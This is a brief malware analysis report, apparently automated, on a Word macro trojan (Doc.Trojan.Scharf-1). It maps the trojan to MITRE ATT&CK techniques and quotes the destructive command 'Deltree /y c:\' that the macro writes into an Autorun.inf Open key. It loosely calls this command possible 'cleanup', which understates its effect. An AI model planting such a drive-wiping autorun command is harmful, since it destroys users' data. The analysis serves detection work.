MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The macro attempts to write the command 'Deltree /y c:\' to the 'Open' key within 'C:\Autorun.inf', likely to establish persistence or perform cleanup actions upon system startup. The presence of the 'Doc.Trojan.Scharf-1' ClamAV detection further supports the malicious classification.
